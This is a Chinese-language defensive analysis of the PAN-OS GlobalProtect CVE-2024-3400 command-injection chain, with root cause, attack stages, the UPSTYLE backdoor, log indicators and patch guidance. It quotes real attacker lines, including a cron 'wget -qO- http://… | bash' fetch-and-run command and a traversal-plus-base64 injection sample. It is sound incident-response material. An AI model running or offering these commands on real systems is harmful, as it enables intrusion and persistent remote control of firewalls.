CVE-2024-3400: PAN-OS GlobalProtect 未授权 RCE 漏洞分析

CVE-2024-3400: PAN-OS GlobalProtect 未授权 RCE 漏洞分析

CVE-2024-3400 是 2024 年最受关注的边界设备高危漏洞之一。它影响 Palo Alto Networks PAN-OSGlobalProtect 组件,可让未授权攻击者在防火墙上以 root 权限执行命令。

这类漏洞的危险不只在于“单点 RCE”,而在于目标本身就是企业边界与远程接入控制点。一旦设备失陷,攻击者往往能进一步:

  • 导出防火墙配置
  • 获取 VPN、证书、账号与内网地址信息
  • 借助防火墙位置优势横向进入内网
  • 建立二次持久化与出网通道

文章以公开资料为基础,偏重研究与防守视角,不提供一键化批量利用代码。

0x01 漏洞背景与影响范围

Palo Alto 官方将该问题描述为:GlobalProtect 中“任意文件创建导致操作系统命令注入”。官方公告显示其 CVSS10.0,且已被列入 CISA KEV,说明该漏洞存在明确的在野利用事实。

受影响条件

官方最终结论是:

  • 受影响版本主要为 PAN-OS 10.211.011.1
  • 设备需配置 GlobalProtect gatewayGlobalProtect portal
  • Cloud NGFWPanorama appliancesPrisma Access 不受影响

已修复版本

至少应升级到以下修复版本或更高版本:

  • PAN-OS 10.2.9-h1
  • PAN-OS 11.0.4-h1
  • PAN-OS 11.1.2-h3

一个容易写错的点

该漏洞披露早期,官方与多家安全厂商都曾提到 device telemetry 是利用前提。但 Palo Alto 后续已明确更正:

  • device telemetry 不需要启用,设备同样可能暴露
  • 关闭 telemetry 已不再是有效缓解措施

因此,写知识库时不要再沿用“必须同时开启 telemetry 才受影响”的旧说法。

0x02 漏洞原理

1. 根因不是单一的“裸命令拼接”

CVE-2024-3400 更准确地说是一条两阶段链路:

  1. 攻击者先借由 GlobalProtect 请求处理逻辑,实现任意路径上的零字节文件创建
  2. 再让后续组件把这个“文件名”当作 shell 命令的一部分拼接执行
  3. 最终从“文件创建”走到“命令注入”

这也是为什么 Palo Alto 官方把它定性为:

Arbitrary File Creation Leads to OS Command Injection

2. 第一阶段:SESSID 参与磁盘会话文件路径拼接

公开逆向显示,GlobalProtectgpsvc 进程会处理未授权访问的部分接口,例如 POST /ssl-vpn/hipreport.esp。其中,客户端提交的 SESSID 会参与磁盘会话文件路径的构造。

问题在于:

  • 会话 ID 未被充分规范化
  • 文件路径拼接时可被目录穿越片段影响
  • 代码在访问目标会话文件前,还会尝试创建缺失目录

于是攻击者可以把 SESSID 伪造成类似“跨目录路径”,使设备以高权限在任意位置落一个零字节文件。

3. 第二阶段:被创建的文件名进入 telemetry 处理链

公开分析进一步指出,攻击者可将零字节文件落到:

/opt/panlogs/tmp/device_telemetry/minute/

等临时目录下。后续 telemetry 逻辑会遍历这些文件,并构造类似:

/usr/bin/curl ... --data-binary @<fname> ...

的问题在于:

  • <fname> 最终进入 shell 命令字符串
  • 底层通过 subprocess.Popen(..., shell=True) 执行
  • 文件名中的特殊字符会被 shell 解释

因此,只要攻击者能控制文件名,就能把“文件名”升级成“命令载体”。

4. 本质总结

这条链的本质可以概括为:

未授权请求 -> SESSID 路径穿越 -> 高权限零字节文件创建 -> 后续组件消费恶意文件名 -> shell=True 命令执行

这也是该漏洞极具代表性的地方:真正危险的往往不是第一个 bug,而是多个看似“只够造成异常”的薄弱点在同一设备上被串成一条完整利用链。

0x03 利用路径与攻击链

1. 早期探测:先验证“能不能写文件”

公开案例显示,攻击者在 2024 年 3 月下旬就开始进行利用测试。最轻量的探测方式通常不是直接反弹 shell,而是:

  • 通过 SESSID 构造路径
  • 在 Web 可访问目录创建一个零字节文件
  • 再尝试通过 HTTP 请求访问这个文件

如果访问返回 403 而不是 404,往往意味着文件已经被创建,只是因 root 权限和访问控制不可直接读取。

这一步常对应 Palo Alto / Unit 42 所说的:

  • Level 0: Probe
  • Level 1: Test

2. 配置文件外传:先拿情报再决定是否深打

野外攻击里,后续最常见的动作不是立刻植入复杂后门,而是先把设备上的关键配置文件复制到 Web 可访问路径,再由外部 HTTP 请求取走。

这种路径非常符合边界设备攻击逻辑:

  • 配置文件里往往包含 VPN、接口、路由、对象策略等高价值信息
  • 有时还能拿到证书、预共享信息、内部地址布局或认证相关配置
  • 攻击者据此判断该目标值不值得继续投入

这一步对应 Unit 42 的:

  • Level 2: Potential Exfiltration

3. 进入交互式命令执行

当攻击者确认目标值得继续利用后,会进一步:

  • 下载额外工具
  • 执行远程脚本
  • 建立反连
  • 部署第二控制通道

Volexity 与 Unit 42 观察到的更深入利用包括:

  • 通过 wget -qO- ... | bash 拉取远程脚本
  • 建立基于 cron 的每分钟轮询后门
  • 尝试部署 Python 后门 UPSTYLE

这一步对应:

  • Level 3: Interactive Access

0x04 高级利用姿势

这里的“高级利用”不再是“如何证明漏洞存在”,而是攻击者在真实入侵里如何把这条链 weaponize。

1. 先探测、再外传、后交互

真实攻击中很少一上来就重载荷。更常见的节奏是:

  1. 写零字节文件验证设备可利用
  2. 复制 running_config.xml 等文件到 Web 可访问位置
  3. 下载脚本或建立交互式命令执行
  4. 再部署持久化组件

这种打法的优点是:

  • 风险低
  • 易并行化
  • 便于大规模筛选高价值目标

2. 利用 Web 可访问路径做“文件外带落点”

配置文件被复制到 Web 目录后,攻击者不一定需要额外出网协议,直接通过设备自身 HTTP 路径取走即可。这说明边界设备攻击里,“把敏感文件搬到可访问位置” 本身就是一种非常高效的轻量级外传手法。

3. UPSTYLE:专为防火墙环境设计的隐蔽后门

Volexity 首次披露、Unit 42 与 Zscaler 进一步分析的 UPSTYLE 很值得知识库重点记录,因为它体现了攻击者对 PAN-OS 运行环境的适配思路。

其核心设计包括:

  • 使用 site-packages/system.pth 作为自执行载体
  • 借 Python .pth 机制在解释器启动时自动执行恶意代码
  • sslvpn_ngx_error.log 中读取命令
  • 将命令输出写入合法 CSS 文件 bootstrap.min.css
  • 15 秒后恢复原内容和时间戳,尽量缩短痕迹暴露窗口

这类设计说明攻击者关注的不是“能执行一下命令”,而是:

  • 如何减少显眼的新文件
  • 如何复用正常日志和静态资源文件
  • 如何把控制通道藏进设备自身的运行语义里

4. 失败后切换到 cron 后门

Unit 42 观察到,攻击者在多次安装 UPSTYLE 失败后,转而采用更粗暴但稳定的方式:

  • 写入 cron 持久化
  • 每分钟执行 wget -qO- hxxp://172.233.228[.]93/policy | bash

这很典型,说明高水平攻击者并不执着于“最优雅的植入”,而是会根据现场反馈快速切换到可用方案。

5. 持久化风险不只停留在 cron

Palo Alto 官方后续明确表示,他们知悉第三方公开了可跨 reset 与 upgrade 的 post-exploit 持久化 PoC。虽然官方当时未确认这些技术已在野滥用,但这意味着:

  • 单纯“打补丁”并不等于“清除已存在后门”
  • 只要攻击者已经拿到交互式 root 级访问,理论上可继续向更深层次持久化推进

因此,对于曾经暴露且疑似已失陷的设备,处置思路必须按照“已落地后门”而不是“仅曾经存在漏洞”来处理。

0x05 日志痕迹与排查重点

1. 优先保留 TSF,不要先重启再说

官方与第三方都反复强调:先导出 TSF(Tech Support File)再进入修复或重启流程。因为升级到修复版本后,部分旧系统安装下的日志可能不再容易在设备本地访问。

优先关注的文件包括:

  • /var/log/pan/gpsvc.log
  • /var/log/pan/md_out.log
  • /var/log/pan/device_telemetry_send.log
  • /var/log/syslog-system.log
  • /var/log/pan/mp-monitor.log

2. gpsvc.log / md_out.log

高价值关键词是:

  • unmarshal session
  • 非 GUID 形式的 session 值
  • 明显的路径穿越片段,如 ../
  • 命令注入常见词,如 base64bashechoopenssl

恶意样例常表现为:

failed to unmarshal session(.././.././.../opt/panlogs/tmp/device_telemetry/minute/...|{base64,-d}|bash|{') map , EOF

正常场景下,session(...) 一般应更像一个正常 GUID,而不是复杂路径或 shell 片段。

3. device_telemetry_send.log

如果该文件中出现以下关键词,应高度怀疑已进入命令执行阶段:

  • echo
  • bash
  • base64
  • 异常文件名嵌在 /opt/panlogs/tmp/device_telemetry/<interval>/ 路径后部

正常日志通常只会出现形如:

/opt/panlogs/tmp/device_telemetry/minute/PA_<serial>_dt_<version>_..._MINUTE.tgz

而不是带编码串或 shell 特殊字符的文件名。

4. syslog-system.log

重点看:

  • crond
  • wget
  • bash
  • 异常远程 URL

例如:

crond: (root) CMD (wget -qO- http://172.233.228.93/policy | bash)

如果防火墙开始周期性对陌生外部地址发起 wget,通常已经不是单纯漏洞探测,而是后门维持阶段。

5. mp-monitor.log

这里适合结合已知 IOC 快速筛查:

  • 异常外联 IP
  • wget
  • 可疑进程名如 /tmp 下运行的二进制
  • 非预期监听端口

Volexity 在案例中曾看到:

  • wget
  • vpn_prot
  • lowdp
  • 指向外部地址的 SYN_SENT

6. 内存与网络侧证据

如果日志被清理,内存取证仍可能找回:

  • 原始命令行
  • base64.*bash 片段
  • bash 历史
  • 临时目录执行痕迹

同时应回看网络层:

  • 防火墙自身是否主动对外联接陌生 IP
  • 是否从防火墙管理地址发起内网 RDP/SSH/SMB
  • 是否出现异常配置文件下载或 Web 路径访问

0x06 修复与缓解建议

1. 立即升级到官方修复版本

最核心的建议始终是:

  • 升级到修复版本
  • 不要仅依赖临时缓解
  • 不要把“已开启 Threat Prevention”当成完整收敛

2. 启用并正确应用 Threat Prevention

官方给出的威胁防护 ID 包括:

  • 95187
  • 95189
  • 95191

但要注意,Threat ID 必须真正应用到 GlobalProtect 接口的漏洞防护策略上,否则并不能形成有效阻断。

3. 不要再把“关闭 telemetry”当作最终方案

这是该漏洞处置里最常见的误区之一。官方已明确:

  • 关闭 telemetry 不再被视为有效缓解
  • 是否暴露的判断核心仍是版本与 GlobalProtect portal/gateway 配置

4. 对疑似失陷设备按“入侵处置”而不是“补丁处置”办理

如果满足以下任一条件,应按已失陷视角处理:

  • 曾长时间公网暴露且未及时修复
  • 日志中出现 unmarshal session 异常模式
  • 出现配置文件外传迹象
  • 存在 cronwget|bash、异常外联或临时目录进程

此时建议:

  • 先保留 TSF 与相关证据
  • 核查 Web 可访问目录是否被放置配置文件或其他异常文件
  • 检查计划任务、临时目录、异常 Python 持久化点
  • 审查证书、账户、VPN 凭据与管理口令
  • 轮换相关认证材料

5. 对持久化风险保持更高处置级别

若担心设备已遭深度持久化,不应只满足于“升级成功”。结合官方后续说明,可考虑:

  • 通过 TAC 走官方补救流程
  • 在需要时执行更严格的恢复/重建流程
  • 对存在持续风险顾虑的设备采用更高等级替换或离线验证方案

0x07 写入知识库时可直接复用的结论

如果你要在知识库首页放一个简短摘要,可以直接写成:

CVE-2024-3400 是 PAN-OS GlobalProtect 组件中的未授权高危漏洞,其本质是一条“任意文件创建 -> 命令注入”的利用链。攻击者可借由 SESSID 路径穿越创建恶意文件,再让后续处理逻辑把恶意文件名带入 shell=True 命令执行,最终以 root 权限控制防火墙。野外攻击已出现从探测、配置外传到 cron/UPSTYLE 后门部署的完整链路。排查重点应聚焦 gpsvc.logdevice_telemetry_send.logsyslog-system.log 与异常外联行为,补丁只能阻断后续利用,不能自动清除已存在后门。

0x08 参考资料